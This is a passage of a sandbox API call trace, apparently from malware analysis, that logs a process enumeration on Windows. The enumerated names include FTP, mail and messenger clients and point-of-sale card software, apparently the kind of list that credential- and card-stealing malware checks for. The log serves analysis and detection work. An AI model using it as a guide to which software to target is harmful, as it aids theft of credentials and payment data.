th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0124.571] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0124.574] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0124.577] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0124.579] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0124.582] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.584] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0124.586] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0124.588] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.591] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0124.594] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.596] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0124.598] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0124.600] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0124.603] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0124.605] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0124.607] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0124.609] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0124.611] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0124.615] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0124.618] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0124.620] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0124.623] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0124.625] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0124.627] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0124.630] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0124.632] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0124.634] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0124.637] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0124.639] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0124.641] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0124.644] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0124.646] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0124.649] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0124.652] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0124.654] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0124.658] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0124.661] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0124.666] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0124.670] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0124.672] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0124.675] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0124.678] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0124.682] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0124.685] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0124.688] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0124.691] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0124.694] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0124.696] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0124.699] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0124.702] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0124.704] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0124.708] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0124.710] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0124.713] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0124.716] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0124.718] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0124.721] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0124.723] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0124.726] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0124.731] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0124.734] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0124.736] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0124.740] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0124.742] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0124.745] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0124.747] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0124.750] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0124.752] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0124.755] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0124.757] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0124.760] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0124.763] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0124.765] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0124.768] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0124.772] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0124.774] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0124.776] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0124.778] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0124.782] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0124.784] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0124.786] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0124.789] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.791] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: 